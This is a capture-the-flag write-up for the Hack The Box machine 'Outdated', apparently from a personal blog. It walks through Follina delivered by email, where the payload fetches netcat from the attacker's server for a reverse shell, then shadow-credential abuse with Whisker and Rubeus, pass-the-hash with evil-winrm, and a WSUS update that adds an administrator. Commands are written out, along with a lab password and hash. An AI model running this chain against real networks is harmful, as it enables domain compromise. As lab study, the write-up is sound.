HTB Outdated

August 29, 2022 5-minute read

ctf • follina • cve • smtp • wsus • medium

recon Link to heading

nmap Link to heading

1sudo nmap -sC -sV -oA outdated outdated.htb

 1Nmap scan report for outdated.htb (10.10.11.175)
 2Host is up (0.27s latency).
 3Not shown: 988 filtered tcp ports (no-response)
 4PORT     STATE SERVICE       VERSION
 525/tcp   open  smtp          hMailServer smtpd
 6| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
 7|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
 853/tcp   open  domain        Simple DNS Plus
 988/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-24 17:25:46Z)
10135/tcp  open  msrpc         Microsoft Windows RPC
11139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
12389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
13| ssl-cert: Subject: 
14| Subject Alternative Name: DNS:DC.outdated.htb, DNS:outdated.htb, DNS:OUTDATED
15| Not valid before: 2022-06-18T05:50:24
16|_Not valid after:  2024-06-18T06:00:24
17|_ssl-date: 2022-08-24T17:27:11+00:00; +6h59m58s from scanner time.
18445/tcp  open  microsoft-ds?
19464/tcp  open  kpasswd5?
20593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
21636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
22| ssl-cert: Subject: 
23| Subject Alternative Name: DNS:DC.outdated.htb, DNS:outdated.htb, DNS:OUTDATED
24| Not valid before: 2022-06-18T05:50:24
25|_Not valid after:  2024-06-18T06:00:24
26|_ssl-date: 2022-08-24T17:27:11+00:00; +6h59m58s from scanner time.
273268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
28|_ssl-date: 2022-08-24T17:27:11+00:00; +6h59m58s from scanner time.
29| ssl-cert: Subject: 
30| Subject Alternative Name: DNS:DC.outdated.htb, DNS:outdated.htb, DNS:OUTDATED
31| Not valid before: 2022-06-18T05:50:24
32|_Not valid after:  2024-06-18T06:00:24
333269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
34| ssl-cert: Subject: 
35| Subject Alternative Name: DNS:DC.outdated.htb, DNS:outdated.htb, DNS:OUTDATED
36| Not valid before: 2022-06-18T05:50:24
37|_Not valid after:  2024-06-18T06:00:24
38|_ssl-date: 2022-08-24T17:27:11+00:00; +6h59m58s from scanner time.
39Service Info: Hosts: mail.outdated.htb, DC; OS: Windows; CPE: cpe:/o:microsoft:windows
40
41Host script results:
42|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s
43| smb2-security-mode: 
44|   3.1.1: 
45|_    Message signing enabled and required
46| smb2-time: 
47|   date: 2022-08-24T17:26:35
48|_  start_date: N/A
49
50Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
51Nmap done: 1 IP address (1 host up) scanned in 109.95 seconds

smb Link to heading

smbclient -L //outdated.htb

smbclient //outdated.htb/shares

1dir
2get NOC_Reminder.pdf

PDF:

we now know the email address for itsupport and bunch of CVEs that might be useful.

Thanks to Tristan (@SI), we know that it is vulnerable to follina. Hence, gonna use the email and try to get something out of mailserver on port 25. Gonna use JohnHammond’s follina POC

Gonna read the code of the POC. it appears it sets up a http server and a listener, then copies the netcat from john’s git to C:\Windows\Tasks. Just in case there is an issue with the box, I’m gonna copy nc from my machine. So, let’s change line #111 as following:

Now, let’s launch the thingy:

1sudo python3 follina.py -i tun0 -p 80 -r 4444

Now we gotta send the payload via the mail server. I am assuming it will download the file and execute it?

we can craft an email using swaks HackTricks - swaks

1swaks --to itsupport@outdated.htb --from thrunter@si.com --server mail.outdated.htb --body "http://10.10.14.12/"

seems we’re getting hit on our webserver but it’s kinda weird.. took awhile for it to appear.. Tristan mentioned that he tried like 15 times and it worked then.. maybe we’ll do the same then

http server on 81 port and change python file to download from port 81/nc64.exe

finally…

User flag Link to heading

Upload sharphound and run it.. send the zip file back to attacker machine and check.

got the user SFLOWERS and it seems he can psremote the DC. and we can add key cred link

curl more files: rubeus and whisker

1curl 10.10.14.12:81/rubeus.exe -o rubeus.exe
2# same for whiskers, I forgot to do a screenshot.

Both needs to be compiled or can use precompiled vesrion from the GhostPack pre-compiled binaries.

whiskers and rubeus Link to heading

1.\iw.exe add /target:sflowers

The output will give us the exact command for Ruebeus.exe - run it.

1.\rubeus.exe asktgt /user:sflowers /certificate:MIIJsAI[huge base64 here]PhIXAXBDCbVj14bk05uEICAgfQ /password:"pPza1ltvE7j14CFq" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

The output will be a TGT for the user sflowers Note, there is a NTLM hash there as well.

pass the hash Link to heading

We can PTH it and get the user’s flag.

1evil-winrm -i outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5
2cat user.txt file

f9e0ffd8f13ff66f6bf0c32355d45661

PrivEsc: Link to heading

winpeas Link to heading

seems we found the PE :) Some links tha tells us about the attack.

We need to upload SharpWSUS.exe, however, it needs to be either compiled or we can decompose from the ps1 library. Get the ps1 file from the link: PowerSharp Bins Dowonload the raw version adn then - decompress it using hte command below:

1cat wsus | base64 -d > wsus.gz
2gzip -d wsus.gz

Upload to the outdated.htb and execute steps that are described in PayloadAllTheThings git.

1.\ws.exe locate

1.\ws.exe create /payload:"C:\Users\sflowers\Desktop\PsExec64.exe" /args:"-accepteula -s -d cmd.exe /c \"net localgroup administrators sflowers /add\"" /title:"Thrunter@SI"

The output gives us two commands we have to run next. Just execute them one by one, replacing the computer name with dc.outdated.htb Approve the update:

1.\ws.exe approve /updateid:0cd68cd9-6d76-4432-ba37-e79af31ef932 /computername:dc.outdated.htb /groupname:"SeamlessThrunter"

Check the update is installed.

1.\ws.exe check /updateid:0cd68cd9-6d76-4432-ba37-e79af31ef932 /computername:dc.outdated.htb

On the screenshot above we can see that update is not installed, just wait for wsus service to run and check again. Once installed, the user sflowers will be added to the local administrators group adn we should be able to read the root.txt.